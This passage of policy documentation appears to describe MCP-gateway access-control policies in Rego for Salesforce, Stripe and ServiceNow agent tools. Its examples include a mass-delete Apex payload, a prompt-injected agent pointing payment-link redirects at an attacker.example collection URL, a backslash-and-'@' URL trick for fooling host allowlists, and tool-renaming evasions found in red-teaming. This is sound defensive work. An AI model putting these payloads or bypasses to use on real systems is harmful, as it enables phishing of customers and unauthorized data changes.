[`salesforce/freeze-record-deletes`](../freeze-record-deletes/policy.md) companion, which gates them by admin group. Attach both for full write governance. - **Unknown Salesforce tools** — anything under the Salesforce server prefix that is not a recognized read, create/update, or delete tool (escape hatches, schema/FLS-management tools not listed here, future tools) — fail closed. - **Non-Salesforce tools** pass through untouched. This differs from [`salesforce/read-only`](../read-only/policy.md), which denies **all** writes unconditionally. This policy instead enables gated write access for approved teams — pick this one when trusted groups need to create and update records over the agent channel, and `read-only` when no one should. ## Compliance alignment - **SOC 2 CC6.1** — logical access security over Salesforce data on the agent channel: only recognized tools reach the org, unknown tools fail closed; **CC6.3** — role-based least privilege and separation of duties: create/update is confined to the `sales`/`support` groups, not every authenticated agent session; **CC6.2** — supports authorization tied to live IdP `groups` claims, so de-provisioning at the IdP removes write capability. - **HIPAA §164.308(a)(4)** — information access management: write access to Contacts and custom objects that may carry PHI is limited to approved groups; **§164.312(a)(1)/(a)(2)(i)** — technical access control keyed to the per-call identity; **§164.502(b) / §164.514(d)** — supports minimum-necessary by narrowing who can mutate records over MCP. - **PCI DSS 7.2.1/7.2.2** — least-privilege access model for cardholder-adjacent CRM data; **7.2.5** — application/system-account least privilege: write capability is gated regardless of the OAuth token's underlying Salesforce permissions. - **GDPR Art. 25** — data protection by default on the agent channel (unknown Salesforce tools fail closed); **Art. 29 / Art. 32(4)** — processing kept within the controller's instructions (only approved groups mutate personal-data records); **Art. 5(1)(b)** — supports purpose limitation by role. - **SOX ITGC (access to programs & data)** — least-privilege access to records (Opportunity, Order, Contract) feeding financial reporting; **SoD (COSO P10)** — supports separation of initiate-vs-approve by confining write initiation to named groups. ## Why ingress Create and update calls have permanent side effects — a record write can fire workflow/Flow automations that email customers or sync to downstream systems. Whether a call mutates is fully determined by which tool is invoked, so gating at ingress (before the call reaches Salesforce) is the only way to actually prevent an unauthorized write. ## Tool name matching Reads, writes, and deletes are matched case-insensitively on the **suffix** of `input.resource.name`. The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `salesforce-createSobjectRecord` for a server registered as `salesforce`), and that prefix is not standardized — suffix matching keeps the policy portable across the hosted and community dialects. **Create/update writes** (group-gated): - Hosted `sobject-all`: `createSobjectRecord`, `updateSobjectRecord`, `updateSobjectRecordByRelationship` - Hosted `sobject-mutations`: `createRecord`, `updateRecord`, `updateRelatedRecord` - Community smn2gnt: `create_record`, `update_record`, `bulk_create_records`, `bulk_update_records` - Community tsmztech: `salesforce_dml_records` (fronts all DML verbs), `salesforce_manage_object`, `salesforce_manage_field` **Reads** (allowed for everyone): `soql_query`, `executeQuery`, `querySobjects`, `find`, `executeSearch`, `searchSobjects`, `getObjectSchema`, `getSchema`, `getUser`, `getRecentItems`, `getRelatedRecords`, plus community reads `run_sosl_search`, `get_object_fields`, `list_sobjects`, `get_record`, `salesforce_search_objects`, `salesforce_describe_object`, `salesforce_query_records`, `salesforce_aggregate_query`, `salesforce_search_all`, `salesforce_read_apex`, `salesforce_read_apex_trigger` (the hosted `soql_query` suffix also covers smn2gnt's `run_soql_query`). **Deletes** (recognized, passed through to the freeze companion): `deleteSobjectRecord`, `deleteSobjectRecordByRelationship`, `deleteChildRecord`, `delete_record`, `bulk_delete_records`. The Salesforce server scope is any tool whose name starts with `salesforce-` or matches one of the recognized read/write/delete suffixes above. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Identity / argument shape - The write exemption reads `input.subject.claims.groups` via `object.get(input, "subject", {})` → `"claims"` → `"groups"` chains defaulting to `[]`, so a missing subject, missing claims, or missing `groups` claim deterministically fails closed (write denied). Group names are matched case-insensitively. - Classification is by tool name only — no argument keys are inspected. In particular, `salesforce_dml_records` is gated as a write on its **name**; this policy does not read its `operation` argument. A group member could therefore delete via `salesforce_dml_records` with `operation: "delete"` — the `freeze-record-deletes` companion is what inspects `operation` and gates the delete verb. Attach it alongside this policy. ## Examples ### Allowed — read tool, no group needed ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "salesforce-soql_query", "type": "tool" }, "payload": { "name": "salesforce-soql_query", "args": { "query": "SELECT Id FROM Account" } } } } ``` `allow = true`, no reason. ### Allowed — create tool for a member of an approved group ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "salesforce-createSobjectRecord", "type": "tool" }, "subject": { "sub": "auth0|rep@example.com", "claims": { "groups": ["sales"] } }, "payload": { "name": "salesforce-createSobjectRecord", "args": { "sobject-name": "Contact", "body": { "LastName": "Doe" } } } } } ``` `allow = true` — the caller is in `sales`. ### Denied — create tool for a caller outside the approved groups ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "salesforce-createSobjectRecord", "type": "tool" }, "subject": { "sub": "auth0|intern@example.com", "claims": { "groups": ["marketing"] } }, "payload": { "name": "salesforce-createSobjectRecord", "args": { "sobject-name": "Opportunity", "body": { "Amount": 50000 } } } } } ``` `allow = false`, reason names the tool and the approved groups. ### Denied — unknown Salesforce tool fails closed ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "salesforce-apex_execute", "type": "tool" }, "payload": { "name": "salesforce-apex_execute", "args": { "code": "delete [SELECT Id FROM Contact];" } } } } ``` `allow = false` — not a recognized read, write, or delete tool. ## Composition Single-purpose: this policy gates create/update writes by group and fails closed on unknown Salesforce tools. Companions: - [`salesforce/freeze-record-deletes`](../freeze-record-deletes/policy.md) — **required companion** to govern deletes, which this policy passes through. - [`salesforce/deny-escape-hatches`](../deny-escape-hatches/policy.md) — portable deny for `apex_execute`, `execute_anonymous`, `tooling_execute`, `restful`, and FLS/schema-management tools. This policy already fails those closed **when they carry the `salesforce-` prefix**, but the dedicated escape-hatch policy matches them by suffix regardless of prefix. - [`salesforce/read-only`](../read-only/policy.md) — the mutually-exclusive alternative for orgs that block all writes; do not attach both. ## Known limitations - **Group names are placeholders — replace `sales` / `support` with your IdP's group names at import time.** The exemption reads `input.subject.claims.groups` (array of strings) and fails closed via an `is_array` guard: no IdP, no claim, or any non-array `groups` value — a bare string, `null`, or a JSON object/map such as `{"0": "sales"}` — means no one may write. (Without the guard, an object-shaped claim would be iterated by value and a value of `"sales"` would have granted the write; the guard blocks that.) - **`sobject-reads` tool names are unverified.** The hosted `sobject-reads` variant's exact tool names were not confirmed against a live `tools/list` in the landscape research; the read suffixes here cover the verified `sobject-all` / `sobject-mutations` and community names. If your gateway exposes `sobject-reads` with different read names, they will fail closed (denied) until added to `read_suffixes`. Validate against your deployed server's `tools/list`. - **Argument-blind classification.** `salesforce_dml_records` is gated as a write by name and its `operation` is not inspected here; a group member can delete through it unless `freeze-record-deletes` is also attached. Likewise the object being written (`sobject-name`) is not restricted — pair with an object-allowlist policy if agents should only touch specific objects. - **Scope is prefix + suffix.** A Salesforce server registered under a name that does not produce the `salesforce-` prefix, exposing a tool whose name matches none of the recognized suffixes, is treated as a non-Salesforce tool and passes through. Confirm your server's prefix, or extend the scope, before relying on the fail-closed behavior for that server. - **Generic suffix collision.** Short community suffixes (`find`, `get_record`, `create_record`) are unprefixed and may match tools of other MCP servers on the same gateway. The failure mode for reads is over-allow (they are allowed anyway); for writes it is over-gating (another server's `create_record` would also require `sales`/`support`), never under-gating. - **Beta-era hosted names are not matched.** Late-2025 beta writeups showed snake_case hosted names (`create_records`, `run_soql_query`); the GA references use the camelCase names matched here. Validate against the deployed server. - **The Salesforce DX MCP server (`@salesforce/mcp`) is not covered** — it is developer tooling with its own 60+ tool surface; govern it separately. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package salesforce.ingress.role_gate_writes # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # Create/update tools, matched case-insensitively by suffix. The gateway # prefixes tool names with the configured MCP server name, which is not # standardized, so suffix matching keeps the policy portable across dialects. # Verified against the Salesforce Hosted MCP GA references (sobject-all, # sobject-mutations) and the smn2gnt / tsmztech community servers. write_suffixes := [ # Hosted sobject-all "createsobjectrecord", "updatesobjectrecord", "updatesobjectrecordbyrelationship", # Hosted sobject-mutations "createrecord", "updaterecord", "updaterelatedrecord", # Community smn2gnt "create_record", "update_record", "bulk_create_records", "bulk_update_records", # Community tsmztech — one tool fronts all DML verbs (operation not inspected # here; the freeze-record-deletes companion gates the delete verb) "salesforce_dml_records", "salesforce_manage_object", "salesforce_manage_field", ] # Read tools, allowed for everyone. `soql_query` also covers smn2gnt's # `run_soql_query` via the suffix match. read_suffixes := [ # Hosted sobject-all / sobject-mutations "soql_query", "executequery", "querysobjects", "find", "executesearch", "searchsobjects", "getobjectschema", "getschema", "getuser", "getrecentitems", "getrelatedrecords", # Community smn2gnt "run_sosl_search", "get_object_fields", "list_sobjects", "get_record", # Community tsmztech "salesforce_search_objects", "salesforce_describe_object", "salesforce_query_records", "salesforce_aggregate_query", "salesforce_search_all", "salesforce_read_apex", "salesforce_read_apex_trigger", ] # Delete tools. Recognized so they pass through unchanged and are governed by the # stricter freeze-record-deletes companion, not denied here as unknown. delete_suffixes := [ "deletesobjectrecord", "deletesobjectrecordbyrelationship", "deletechildrecord", "delete_record", "bulk_delete_records", ] # Placeholder IdP groups permitted to create/update — replace `sales` / `support` # with your IdP's group names at import time. write_groups := {"sales", "support"} # Case-insensitive tool name; missing fields resolve to "" (never matches). tool_name := lower(object.get(object.get(input, "resource", {}), "name", "")) is_read_tool if { some suffix in read_suffixes endswith(tool_name, suffix) } is_write_tool if { some suffix in write_suffixes endswith(tool_name, suffix) } is_delete_tool if { some suffix in delete_suffixes endswith(tool_name, suffix) } # The Salesforce server scope: the configured `salesforce-` prefix, or any # recognized read/write/delete suffix (portable across community prefixes). is_salesforce_tool if startswith(tool_name, "salesforce-") is_salesforce_tool if is_read_tool is_salesforce_tool if is_write_tool is_salesforce_tool if is_delete_tool # Approved-group membership. Read fail-closed: missing subject/claims/groups → [] # → no membership. The `is_array` guard makes every non-array `groups` value fail # closed — including a JSON object/map (e.g. `{"0": "sales"}`), which `some ... in` # would otherwise iterate by value and treat "sales" as a match. Only a genuine # JSON array of group-name strings can grant the write. caller_in_write_group if { groups := object.get(object.get(object.get(input, "subject", {}), "claims", {}), "groups", []) is_array(groups) some group in groups write_groups[lower(group)] } # Pass through anything that isn't a Salesforce tool. allow if { not is_salesforce_tool } # Reads are allowed for everyone. allow if { is_read_tool } # Deletes pass through — governed by the freeze-record-deletes companion. allow if { is_delete_tool } # Create/update writes are allowed only for approved-group members. allow if { is_write_tool caller_in_write_group } # Deny a create/update write from a caller outside the approved groups. reasons contains msg if { is_write_tool not caller_in_write_group msg := sprintf("The tool '%s' creates or updates Salesforce records, which is limited to members of the sales or support groups on this channel. Ask an approved team member to make the change, or request membership in the appropriate group. Contact your InfoSec team if this block is a false positive.", [tool_name]) } # Deny an unrecognized Salesforce tool (fail closed). reasons contains msg if { is_salesforce_tool not is_read_tool not is_write_tool not is_delete_tool msg := sprintf("The Salesforce tool '%s' is not on this gateway's recognized read, create/update, or delete list, so it is denied by default (fail closed). If this is a legitimate Salesforce tool, add its name suffix to the policy's read or write list. Contact your InfoSec team to review.", [tool_name]) } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Scrub Unapproved Stripe Payment-Link Redirects URL: https://www.intentbasedpolicy.com/policies/stripe/guard-share-links-payment-redirect App(s): stripe | Direction: ingress | Bundles: soc2 | Package: stripe.ingress.guard_share_links_payment_redirect | Published: 2026-07-12 | Tags: stripe, guard-share-links, ingress, transform, phishing, prompt-injection, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/stripe/guard-share-links-payment-redirect/policy.md # stripe / guard-share-links-payment-redirect **Direction:** ingress (`tool_pre_invoke`) **Default:** allow (transform-only — never denies) **Package:** `stripe.ingress.guard_share_links_payment_redirect` ## What it does Scrubs the post-payment redirect from Stripe payment-link creation calls. On `*create_payment_link` tool calls it reads the `redirect_url` argument and, when it is non-empty and its host is **not** on a configured domain allowlist, emits a transform that removes the key — the payment link is created without a redirect and Stripe shows its default hosted confirmation page instead. A payment link is a **public, customer-facing URL**. Its redirect is where the paying customer's browser is sent the moment payment completes — a prompt-injected agent that sets an attacker-controlled `redirect_url` turns every link it mints into a phishing/exfiltration vector aimed at your customers, on a page that carries your Stripe branding. Stripe also appends the checkout session id to the redirect, handing the attacker a session reference. Stripping the argument neutralizes the vector while letting the legitimate work (creating the link) proceed. The allowlist (`allowed_redirect_hosts`) **ships empty on purpose**: pin it to your own domains at import time (exact lowercase host match, e.g. `"checkout.example.com"`). With the empty default, **every** `redirect_url` is stripped. The policy runs at ingress, before the public link is minted, so an unapproved redirect never exists on a live URL. ## Compliance alignment - **SOC 2 CC6.7** — supports the restriction on transmission and movement of information by preventing an agent from wiring a customer-facing payment flow to an unapproved external destination on the MCP path. - **SOC 2 P6.1** — supports limits on disclosure of personal information to third parties: an attacker-controlled redirect would land paying customers (and the appended checkout-session reference) on a third-party host positioned to harvest their data. - **GDPR Art. 5(1)(f) / Art. 32** — supports security of processing for the customer payment journey: the post-payment step cannot be diverted to infrastructure outside the controller's approved domains. - **GDPR Art. 25** — supports data protection by design and by default: the allowlist is empty by default, so the safe behavior (no redirect) is the default behavior until the tenant explicitly pins its own domains. ## Tool name matching Matches by suffix on `lower(input.resource.name)`, case-insensitively, because the DTwo gateway prefixes tool names with the configured MCP server name (e.g. `stripe-mcp-create_payment_link`) and that prefix is not standardized: - `*create_payment_link` — the legacy per-resource tool set (`@stripe/mcp` v0.8.x, the Claude Desktop `.dxt` manifest, and pre-migration `@stripe/agent-toolkit` embeddings), verified from the `stripe/ai` repo history. The **current** official meta-tool server (mcp.stripe.com / `@stripe/mcp` ≥ 0.9) has no dedicated payment-link tool — payment links are created through the generic `stripe_api_write` escape hatch, which this policy does not parse. See Composition and Known limitations. Composio and other aggregator tool names for payment links are unverified — confirm the exact name your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape Legacy `create_payment_link` takes (verified from source): ```jsonc { "price": "price_...", "quantity": 1, "redirect_url": "https://..." } ``` The policy reads `redirect_url` via `object.get(input.payload.args, "redirect_url", "")` and never touches `price`/`quantity`. Host extraction drops the scheme, cuts the authority at the first `/`, `\`, `?`, or `#`, drops userinfo (`user@`, keeping the host after the **last** `@`) and the port, and lowercases. Backslash is treated as a path delimiter because WHATWG-conformant browsers normalize `\` to `/` in http/https authorities — otherwise `https://evil.example\@allowed/` would parse here as the allowlisted `allowed` while the browser navigated to `evil.example`. Values with no `://` scheme, non-string values, and anything else that fails to parse are treated as **unapproved (fail closed)** and stripped. The tool-name match reads both `resource.name` and its legacy `payload.name` alias via `object.get`, so a call missing one of them cannot slip the scrub. ## Examples ### Transformed — redirect host not on the allowlist ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "stripe-mcp-create_payment_link", "type": "tool" }, "payload": { "name": "stripe-mcp-create_payment_link", "args": { "price": "price_1QxAbC", "quantity": 1, "redirect_url": "https://stripe-thanks.attacker.example/collect" } } } } ``` `allow = true`, transform rewrites args to `{ "price": "price_1QxAbC", "quantity": 1 }` — the link is created with no redirect. ### Allowed unchanged — no redirect requested ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "stripe-mcp-create_payment_link", "type": "tool" }, "payload": { "name": "stripe-mcp-create_payment_link", "args": { "price": "price_1QxAbC", "quantity": 2 } } } } ``` `allow = true`, no transform. ## Composition Single-purpose by design. Pair with: - [`stripe/deny-escape-hatches-api-write`](../deny-escape-hatches-api-write/policy.md) — on the current meta-tool server, payment links (and their `after_completion` redirects) are created via `stripe_api_write`; this policy cannot see inside that call, so gate the escape hatch itself. - [`stripe/gate-money-movement-refund-cap`](../gate-money-movement-refund-cap/policy.md) — group-gates and caps the refund surface. ## Known limitations - **Allowlist ships empty — pin it at import time.** Until you add your own domains to `allowed_redirect_hosts`, every `redirect_url` is stripped, including legitimate ones. The allowed-host branch is therefore not exercisable against the shipped constant; verify it after pinning. - **Exact host match.** Subdomains are not implied — list `www.example.com` and `example.com` separately. IPv6-literal hosts cannot be allowlisted (their bracket syntax never survives host extraction) and are always stripped. - **Host extraction only bites once an allowlist is pinned.** With the shipped empty allowlist every redirect is stripped regardless of how its host parses, so the host-parsing edge cases (userinfo `@`, backslash authority terminators, ports) matter only after you pin `allowed_redirect_hosts`. The extractor models the common browser normalizations (`\`→`/`, last-`@` host, port drop) but is not a full WHATWG URL parser: other exotic normalizations (embedded tab/newline stripping, percent-encoded delimiters, trailing-dot FQDNs) are not modeled. Every one of them extracts a host that will simply fail the exact match and be stripped (fail closed) — the reverse (a stripped-worthy URL surviving) is what the backslash handling closes. Re-verify against your pinned hosts after import. - **Escape hatch not covered.** `stripe_api_write` on the current official server can create payment links with a redirect in nested `after_completion` parameters; this policy matches only the dedicated `*create_payment_link` tools. Compose with `stripe/deny-escape-hatches-api-write`. - **Silent scrub.** Transform-only policies do not return a reason; the agent learns the redirect was dropped only if it re-reads the created link. If you prefer a hard failure the agent can react to, convert the transform condition into a deny. - **Aggregator tool names unverified.** Composio's `STRIPE_*` slugs and other community servers may expose payment-link creation under names that do not end in `create_payment_link`; verify with the dump-input technique. - **No identity exemptions.** All callers are subject to the same scrub. If a trusted group should be allowed arbitrary redirects, add a separate `input.subject.claims.groups`-gated branch. > **Compliance note.** This policy supports alignment with the cited > framework controls **on the MCP path only**. No policy or bundle makes an > organization compliant with any framework; web-UI, native-API, and in-app > access are outside the gateway's reach by design. Validate against your > own compliance program before relying on it. ```rego package stripe.ingress.guard_share_links_payment_redirect # Transform-only policy — never denies, only scrubs unapproved redirect URLs. default allow := true # Hosts allowed to receive the post-payment redirect. Ships EMPTY on purpose: # pin it to your own domains at import time (exact lowercase host match, e.g. # "checkout.example.com"; list subdomains individually). With the empty # default every redirect_url is stripped and the payment link falls back to # Stripe's default hosted confirmation page. allowed_redirect_hosts := [] # Payment-link creation tools, matched case-insensitively by suffix because # the gateway prefixes tool names with the configured MCP server name # (e.g. `stripe-mcp-create_payment_link`). Covers the legacy per-resource # Stripe tool set; the current meta-tool server routes payment-link creation # through `stripe_api_write` (see policy description — compose with # stripe/deny-escape-hatches-api-write). # # Read the tool name via object.get from BOTH the PARC `resource.name` and its # legacy `payload.name` alias (both populated on tool hooks, same value). A # bare `input.resource.name` index is undefined when `resource`/`name` is # absent, which would make this rule — and therefore the scrub transform — # silently no-op and pass an attacker redirect straight through (fail open). tool_name := lower(object.get(object.get(input, "resource", {}), "name", "")) tool_name_alias := lower(object.get(object.get(input, "payload", {}), "name", "")) is_create_payment_link if endswith(tool_name, "create_payment_link") is_create_payment_link if endswith(tool_name_alias, "create_payment_link") args := object.get(object.get(input, "payload", {}), "args", {}) redirect_url := object.get(args, "redirect_url", "") # Extract the host from the redirect URL: drop the scheme, cut the authority # at the first `/`, `?`, or `#`, drop any userinfo (`user@`), drop the port, # and lowercase. Undefined for scheme-less or non-string values — those are # treated as unapproved (fail closed) and stripped. redirect_host := host if { parts := split(lower(trim_space(redirect_url)), "://") count(parts) >= 2 # Cut the authority at the first path delimiter. Browsers following the # WHATWG URL spec treat a backslash in a special-scheme (http/https) URL # exactly like a forward slash, so `\` ALSO terminates the authority — # split on it too. Without this, `https://evil.example\@allowed.example/` # is read here as host `allowed.example` (the last `@`-segment) while the # browser navigates to `evil.example`, silently defeating a pinned # allowlist. authority_and_path := split(split(parts[1], "/")[0], "\\")[0] authority_and_query := split(authority_and_path, "?")[0] authority := split(authority_and_query, "#")[0] # Userinfo tricks like `https://trusted.example@evil.example/` put the real # host after the LAST `@`. host_candidates := split(authority, "@") hostport := host_candidates[count(host_candidates) - 1] host := split(hostport, ":")[0] } host_is_allowed if { some allowed in allowed_redirect_hosts lower(allowed) == redirect_host } # Strip redirect_url whenever it is present and its host is not approved. transform := {"transformed_payload": object.remove(args, ["redirect_url"])} if { input.action == "tool_pre_invoke" is_create_payment_link redirect_url != "" not host_is_allowed } ``` ### ServiceNow: Role-Gated Writes (Read-Only Default) URL: https://www.intentbasedpolicy.com/policies/servicenow/role-gate-writes App(s): servicenow | Direction: ingress | Bundles: soc2, gdpr-ccpa | Package: servicenow.ingress.role_gate_writes | Published: 2026-07-12 | Tags: servicenow, role-gate-writes, access-control, least-privilege, ingress, soc2, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/servicenow/role-gate-writes/policy.md # servicenow / role-gate-writes **Direction:** ingress (`tool_pre_invoke`) **Default:** deny — reads pass for everyone, verified writes require the writer group, everything else fails closed **Package:** `servicenow.ingress.role_gate_writes` ## What it does Makes ServiceNow read-only by default on the MCP path. Read tools pass for every caller. Every verified write-class tool — incident, change, agile, catalog, knowledge, platform-code, and changeset mutations — is denied unless the caller's IdP `groups` claim contains the placeholder group `servicenow-writers`. Any tool that is neither a recognized read nor a verified write (an unknown or renamed upstream tool, or a call with no tool name at all) is **denied by default**, so an *unrecognized* write cannot slip through. One caveat to that guarantee: reads are recognized by a `list_`/`get_` verb heuristic, not an enumerated read allowlist. A write whose tool name is admin-renamed to **start** with a read verb (possible on the instance-defined official server — e.g. a subflow named `get_and_close_incident`) is classified as a read and allowed. This residual is documented under Known limitations; run the companion `default-deny-unknown-tools` (PF-28) policy alongside this one so such drift is caught and audited rather than silently allowed. Read tools that pass (matched on the echelon-ai-labs / michaelbuckner `verb_noun` vocabulary): - any name whose tool segment starts with `list_` (e.g. `list_incidents`, `list_users`, `list_change_requests`, `list_articles`, `list_workflows`, `list_changesets`) or `get_` (e.g. `get_user`, `get_record`, `get_change_request_details`, `get_workflow`, `get_script_include`, `get_article`, `get_catalog_item`) - the exact read tools `search_records`, `perform_query`, and `natural_language_search` The check runs at ingress, before the call reaches the ServiceNow MCP server, so a denied write never executes and has no side effects on the instance. ## Compliance alignment - **SOC 2 CC6.1** — supports logical access security over protected assets: ServiceNow records (incidents, changes, KB, catalog, platform code) cannot be mutated over the agent channel without an explicit role grant. **CC6.3** — supports role-based access, least privilege, and separation of duties: write capability is tied to a live IdP group, and removing the group in the IdP removes agent write access on the next call. - **HIPAA §164.308(a)(4)** — supports information access management for ServiceNow tenants whose incident/HRSD/CSM records hold ePHI: write authorization is role-scoped. **§164.312(a)(1)** — supports technical access control with per-call identity taken from the caller's JWT. **§164.502(b) / §164.514(d)** — supports minimum-necessary and role-based limits by keeping the default posture read-only. - **PCI DSS 7.2.1 / 7.2.2** — supports a least-privilege access model: agent write access to ServiceNow records adjacent to cardholder data is limited to the roles that need it. **7.2.5** — supports application/system-account least privilege by narrowing what the agent's OAuth grant can actually change. - **GDPR Art. 25** — supports data protection by design/default on the agent channel: the default posture is read-only. **Art. 29 / Art. 32(4)** — supports processing only on the controller's documented instructions: unauthorized principals cannot alter personal data in ServiceNow through the agent. **Art. 5(1)(b)** — supports purpose limitation by gating writes to a controlled role. - **SOX ITGC (access to programs and data)** — supports least-privilege access where ServiceNow holds financially relevant records or change tickets: mutations require membership in a controlled group. **SoD (COSO Principle 10)** — supports separation of the initiate and approve roles by keeping ordinary agent writes behind a role grant (approval-class tools are gated separately — see Composition). ## Tool name matching The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `servicenow-mcp-create_incident`), and the prefix is not standardized — so matching is case-insensitive and portable: - **Reads** are matched on the `verb_noun` snake_case convention shared by the two big community servers (echelon-ai-labs and michaelbuckner). A `list_`/`get_` verb is recognized only at the start of the name or immediately after a `-` server-prefix delimiter (the delimiter the gateway actually uses, e.g. `servicenow-mcp-list_incidents`), plus the three exact read tools `search_records`, `perform_query`, and `natural_language_search` — which are matched at the same boundary (the bare name, or right after a `-` delimiter), **not** by a bare suffix. That anchoring matters: a bare suffix match would treat any instance-defined tool whose name merely *ends* with one of the three (e.g. an admin-named write subflow `incident_close_and_search_records`) as a read and allow it for everyone — a red-team finding, now closed. A `_`-delimited match (`_get_`/`_list_` *inside* a name) is intentionally **not** treated as a read verb: in the verb_noun vocabulary an underscore is part of the tool name, so an underscore-infix match cannot be told apart from a write subflow such as `incident_get_and_resolve` — matching those as reads let writes slip through (red-team finding, now closed). One consequence, which now holds uniformly for both the `list_`/`get_` verbs and the three exact read tools: if your gateway joins the server-name prefix with `_` instead of `-`, read tools will not be recognized and will fail closed (denied) — configure a `-` prefix, or add the reads explicitly. - **Writes** are matched by exact suffix (`endswith`) so any gateway server-name prefix still matches. The verified write set is: - **Incident / ticket:** `create_incident`, `update_incident`, `add_comment`, `add_work_notes`, `resolve_incident` - **Change:** `create_change_request`, `update_change_request`, `add_change_task` - **Agile:** `create_story`, `update_story`, `create_epic`, `update_epic`, `create_scrum_task`, `update_scrum_task`, `create_project`, `update_project` - **Catalog:** `create_catalog_category`, `update_catalog_category`, `move_catalog_items`, `update_catalog_item`, `create_catalog_item_variable`, `update_catalog_item_variable`, `create_category` - **Knowledge:** `create_knowledge_base`, `create_article`, `update_article`, `publish_article` - **Free-text write / code:** `natural_language_update`, `update_script` - **Platform code:** `create_workflow`, `update_workflow`, `delete_workflow`, `create_script_include`, `update_script_include`, `delete_script_include`, `create_ui_policy`, `create_ui_policy_action` - **Changeset / update-set:** `create_changeset`, `update_changeset`, `commit_changeset`, `publish_changeset`, `add_file_to_changeset` Two entries in the write set deserve a call-out because they perform writes the policy cannot inspect field-by-field: - **`natural_language_update`** (michaelbuckner server) performs a write from free-text instructions with no structured, inspectable field diff — the agent describes a change in prose and the server executes it. - **`update_script`** edits server-side script that then runs inside the instance. Both stay inside the gated write set (a writer may call them). Stricter tenants should remove `natural_language_update` and `update_script` from even the writer grant — carve them out into a separate, more tightly gated policy, or move them to a human-only deny. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. If your ServiceNow server exposes a write tool whose suffix is not in the list above, it will be denied for everyone (fail closed) until you add it — see Known limitations. ## Argument shape The decision uses only the tool name (`input.resource.name`) and the caller's identity (`input.subject.claims.groups`). Tool arguments are not inspected, so the policy cannot be bypassed by unusual argument keys, nesting, batched payloads, or encodings — and it works identically whether or not a tool's argument schema is documented. ## Identity Group membership is read fail-closed via `object.get(object.get(object.get(input, "subject", {}), "claims", {}), "groups", [])` with an `is_array` guard: a missing subject, missing claims, a missing `groups` claim, or a `groups` claim that is not an array all mean "not a writer", and every write is denied. Reads are unaffected by identity. ## Examples ### Allowed — read tool, no identity required ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "servicenow-mcp-list_incidents", "type": "tool" }, "payload": { "name": "servicenow-mcp-list_incidents", "args": { "limit": 20 } } } } ``` `allow = true`, no reason. ### Allowed — write tool, caller in the writer group ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "servicenow-mcp-create_incident", "type": "tool" }, "subject": { "sub": "auth0|alice", "claims": { "groups": ["servicenow-writers"] } }, "payload": { "name": "servicenow-mcp-create_incident", "args": { "short_description": "Printer down on 3rd floor" } } } } ``` `allow = true`, no reason. ### Denied — write tool, caller not in the writer group ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "servicenow-mcp-create_incident", "type": "tool" }, "subject": { "sub": "auth0|bob", "claims": { "groups": ["engineering"] } }, "payload": { "name": "servicenow-mcp-create_incident", "args": { "short_description": "Printer down on 3rd floor" } } } } ``` `allow = false`, `reason = "ServiceNow write tools are restricted to members of the 'servicenow-writers' group ..."`. ## Composition This policy is the ServiceNow least-privilege baseline; it gates *who* may write, not *what* they may write, and does not cover the higher-blast-radius surfaces. Pair it with: - **`apps/servicenow/default-deny-unknown-tools`** (PF-28) — because ServiceNow's official server publishes instance-defined tool names, run the allowlist/drift policy alongside this one so new or renamed upstream tools are caught and audited, not silently denied without an operator seeing the drift. - **`apps/servicenow/require-human-approval-changes`** (PF-15) — `approve_change`, `reject_change`, and `submit_change_for_approval` are deliberately **not** in this policy's write set; they are unconditionally human-only and are gated by that companion policy. - A **freeze-identity-plane** policy (PF-13) for `create_user`, `update_user`, `create_group`, `update_group`, `add_group_members`, `remove_group_members` — ServiceNow group membership drives ACLs, so these privilege-escalation primitives are also intentionally out of this policy's write set and belong behind a stricter identity-admin gate. - An egress PII/PHI redaction policy on `list_incidents` / `get_record` / `search_records` / `list_users` responses, since this policy leaves the read path open. ## Known limitations - **Group names are placeholders** — replace `servicenow-writers` with your IdP's real group name at import time. The policy expects `groups` to be an array claim in the caller's JWT; if your IdP emits roles under a different or namespaced claim (e.g. `https://acme.com/groups`), update `writer_group` and `caller_groups` in `policy.md`. - **Fail-closed on unknown tools (by design).** Anything that is not a recognized read or a verified-suffix write is denied for everyone, including writers. That is the intended posture — it prevents an unclassified write from slipping through — but it also means legitimate write tools outside the verified set are blocked until an operator adds them. Known examples not in the write set: `create_story_dependency` / `delete_story_dependency` (agile dependency writes), and the identity/approval tools covered by the companion policies above. Add any tool your tenant legitimately uses to `write_suffixes` (for the writer grant) or the read helpers, and run the companion `default-deny-unknown-tools` policy so the drift is surfaced rather than silent. - **A write whose name starts with a read verb is allowed (residual).** Reads are recognized by a `list_`/`get_` verb heuristic, not an enumerated allowlist, so a tool whose name *starts* with `list_`/`get_` (at the start of the name, or right after the `-` server prefix) is treated as a read for everyone. On the community servers no write is named this way, but the official server's tool names are admin-defined, so a write subflow could be published as `get_and_close_incident`, `list_and_purge_records`, etc. and would pass the read path. This cannot be closed from inside a single least-privilege policy without a full write vocabulary; the mitigation is the companion `default-deny-unknown-tools` (PF-28) policy, which allowlists audited tool names and alerts on drift. (Two related but distinct misclassifications are closed: the `_get_`/`_list_` *infix* case — e.g. `incident_get_and_resolve` — because underscore-infix matches are not treated as read verbs; and the *ends-with-a-read-suffix* case — e.g. `incident_close_and_search_records` — because the three exact reads are matched only at the start of the name or after a `-` delimiter, not by a bare suffix.) - **Official-server tool names are instance-defined.** ServiceNow's native MCP Server derives tool names from 